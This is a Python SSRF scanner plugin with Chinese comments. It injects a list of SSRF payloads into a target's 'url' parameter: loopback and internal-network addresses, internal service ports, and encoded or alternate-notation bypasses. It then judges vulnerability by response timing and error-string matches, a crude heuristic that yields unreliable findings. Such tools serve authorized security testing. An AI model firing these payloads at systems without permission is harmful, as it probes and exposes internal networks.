#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
SSRF（服务器端请求伪造）漏洞扫描脚本
检测目标URL是否存在SSRF漏洞
"""

import requests
import time
import re
from typing import Dict, Any, List
import logging
import socket

def get_internal_ip():
    """获取内网IP地址，用于SSRF检测"""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
        s.close()
        # 返回内网IP网段（如 192.168.1.1 -> 192.168.1.0）
        return '.'.join(ip.split('.')[:-1]) + '.0'
    except:
        return '127.0.0.1'

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# 脚本元数据
NAME = "SSRF漏洞扫描器"
DESCRIPTION = "检测目标URL是否存在服务器端请求伪造(SSRF)漏洞，通过发送内网地址和特殊URL进行测试"
AUTHOR = "Security Team"
VERSION = "1.0.0"
VULNERABILITY_TYPE = "ssrf"
SEVERITY = "high"
ENABLED = True

# 必要参数
REQUIRED_PARAMS = ["target"]

# 可选参数及默认值
OPTIONAL_PARAMS = {
    "scan_depth": 2,
    "timeout": 10,
    "max_retries": 3
}

# SSRF测试payloads
INTERNAL_IP = get_internal_ip()
SSRF_PAYLOADS = [
    # 基本测试
    "http://127.0.0.1",
    "http://localhost",
    f"http://{INTERNAL_IP}",
    # 端口扫描测试
    "http://127.0.0.1:22",
    "http://127.0.0.1:80",
    "http://127.0.0.1:443",
    "http://127.0.0.1:3306",
    "http://127.0.0.1:6379",
    # 绕过测试
    "http://127.1",  # 127.1 相当于 127.0.0.1
    "http://0",  # 0 相当于 0.0.0.0
    "http://0.0.0.0",
    "http://[::1]",  # IPv6 localhost
    "http://0:80",
    # URL编码绕过
    "http://%31%32%37%2e%30%2e%30%2e%31",
    "http://%30%2e%30%2e%30%2e%30",
    # 数据URI测试
    "data:text/plain,test",
    # DNS Rebinding测试指示符
    "http://ssrf-test.localhost"
]

# SSRF成功模式（用于检测漏洞是否存在）
SSRF_SUCCESS_PATTERNS = [
    r"Connection refused",
    r"No route to host",
    r"timed out",
    r"Connection reset",
    r"Internal Server Error",
    r"500",
    r"Connection established",
    r"host unreachable",
    r"failed to connect",
    r"connect: invalid argument"
]

def scan(target: str, **kwargs) -> Dict[str, Any]:
    """
    执行SSRF漏洞扫描
    
    Args:
        target: 目标URL
        **kwargs: 可选参数
            scan_depth: 扫描深度 (1-5)
            timeout: 请求超时时间
            max_retries: 最大重试次数
    
    Returns:
        Dict: 扫描结果，包含漏洞信息
    """
    start_time = time.time()
    results = {
        "target": target,
        "vulnerability_type": VULNERABILITY_TYPE,
        "severity": SEVERITY,
        "scan_depth": kwargs.get("scan_depth", 2),
        "start_time": start_time,
        "end_time": None,
        "duration": None,
        "vulnerable": False,
        "vulnerabilities": [],
        "details": {
            "total_tests": 0,
            "passed_tests": 0,
            "failed_tests": 0,
            "test_details": []
        }
    }
    
    # 获取参数
    timeout = kwargs.get("timeout", 10)
    max_retries = kwargs.get("max_retries", 3)
    scan_depth = kwargs.get("scan_depth", 2)
    
    # 根据扫描深度调整测试用例数量
    if scan_depth < 3:
        # 浅扫描只测试基本payload
        test_payloads = SSRF_PAYLOADS[:10]
    else:
        test_payloads = SSRF_PAYLOADS
    
    logger.info(f"开始SSRF扫描: {target}")
    
    # 发送正常请求作为基准
    base_response = None
    try:
        base_response = requests.get(target, timeout=timeout)
    except Exception as e:
        logger.error(f"基准请求失败: {str(e)}")
    
    # 测试每个payload
    for payload in test_payloads:
        results["details"]["total_tests"] += 1
        
        test_result = {
            "payload": payload,
            "vulnerable": False,
            "evidence": [],
            "error": None
        }
        
        # 构建测试URL
        if "?" in target:
            test_url = target + "&url=" + payload
        else:
            test_url = target + "?url=" + payload
        
        # 重试逻辑
        for attempt in range(max_retries):
            try:
                start_test_time = time.time()
                response = requests.get(test_url, timeout=timeout, allow_redirects=False)
                test_duration = time.time() - start_test_time
                
                # 分析响应
                is_vulnerable = False
                evidence = []
                
                # 检查响应时间异常（可能是内网访问的特征）
                if base_response and test_duration > base_response.elapsed.total_seconds() * 1.5:
                    is_vulnerable = True
                    evidence.append(f"响应时间异常: {test_duration:.2f}s")
                
                # 检查响应内容中的特征模式
                response_text = response.text.lower()
                for pattern in SSRF_SUCCESS_PATTERNS:
                    if re.search(pattern.lower(), response_text):
                        is_vulnerable = True
                        evidence.append(f"发现匹配模式: {pattern}")
                
                # 检查端口特定响应
                if payload.endswith(":22") and "ssh" in response_text:
                    is_vulnerable = True
                    evidence.append("检测到SSH服务响应特征")
                elif payload.endswith(":3306") and "mysql" in response_text:
                    is_vulnerable = True
                    evidence.append("检测到MySQL服务响应特征")
                elif payload.endswith(":6379") and ("redis" in response_text or response.status_code == 500):
                    is_vulnerable = True
                    evidence.append("检测到Redis服务响应特征")
                
                # 更新测试结果
                if is_vulnerable:
                    test_result["vulnerable"] = True
                    test_result["evidence"] = evidence
                    test_result["response_status"] = response.status_code
                    test_result["response_time"] = test_duration
                    
                    # 添加到漏洞列表
                    vulnerability = {
                        "payload": payload,
                        "evidence": evidence,
                        "url": test_url,
                        "response_status": response.status_code,
                        "response_time": test_duration,
                        "recommendation": "过滤所有内网地址、特殊IP格式和可能的绕过技术"
                    }
                    results["vulnerabilities"].append(vulnerability)
                    results["vulnerable"] = True
                
                results["details"]["passed_tests"] += 1
                break  # 成功后跳出重试循环
                
            except requests.Timeout:
                test_result["error"] = f"请求超时 (尝试 {attempt + 1}/{max_retries})"
                if attempt == max_retries - 1:
                    results["details"]["failed_tests"] += 1
            except requests.RequestException as e:
                test_result["error"] = f"请求错误: {str(e)} (尝试 {attempt + 1}/{max_retries})"
                if attempt == max_retries - 1:
                    results["details"]["failed_tests"] += 1
        
        results["details"]["test_details"].append(test_result)
    
    # 计算结束时间和持续时间
    end_time = time.time()
    results["end_time"] = end_time
    results["duration"] = end_time - start_time
    
    # 生成总结报告
    if results["vulnerable"]:
        logger.warning(f"在 {target} 发现 {len(results['vulnerabilities'])} 个SSRF漏洞")
        results["summary"] = f"发现{len(results['vulnerabilities'])}个SSRF漏洞，可能允许攻击者访问内网资源"
    else:
        logger.info(f"{target} 未发现SSRF漏洞")
        results["summary"] = "未发现明显的SSRF漏洞"
    
    return results